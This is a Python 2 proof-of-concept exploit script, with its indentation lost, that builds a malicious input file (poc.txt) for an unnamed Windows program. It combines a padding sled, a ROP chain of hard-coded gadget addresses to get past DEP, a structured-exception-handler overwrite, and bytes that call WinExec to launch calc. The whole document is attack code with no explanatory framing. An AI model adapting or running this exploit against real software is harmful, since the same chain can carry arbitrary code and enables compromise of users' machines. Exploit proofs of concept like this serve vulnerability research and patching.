import struct
OS_retSled = '\x41'*400
retSled = '\x24\x01\x06\x11'*100
def createRopChain():
ropGadgets = [
0x012126f5,
0x110e70bc,
0x110495ef,
0x1106905d,
0x012428B4,
0x01226010,
0xfffff2D4,
0x011d53d2,
0x11061ea7,
0x1106905d,
0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,
0x011f282b,
0x01203a3b,
0x11084dca,
0x012126f5,
0x110e708c,
0x1109cdb9,
0x1106CE04,
0x011d53d2,
0xffffffff,
0xffffffff,
0x0106a762,
0x01203a3b,
0x1106905d,
0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,
0x01226014,
0xffffffff,
0x011f282b,
0x01218952,
0x01203a3b,
0x1102ce1f,
0x1106CE04,
0x11060124
]
return ''.join(struct.pack('<I', _) for _ in ropGadgets)
ropChain = createRopChain()
OS_nSEH = '\x43'*(4188-len(OS_retSled+retSled+ropChain))
nSEH = '\x44'*4
SEH = '\x70\x28\x21\x01'
WinExec = '\x57\x69\x6e\x45'
WinExec += '\x78\x65\x63\xd4'
calc = '\x63\x61\x6c\x63'
calc += '\xff\x42\x42\x42'
extra = '\x44'*2000
buffer = OS_retSled + retSled + ropChain + OS_nSEH + nSEH + SEH + WinExec + calc + extra
File = 'poc.txt'
try:
payload = buffer
f = open(File, 'w')
f.write(payload)
f.close()
print File + " created successfully"
except:
print File + ' failed to create'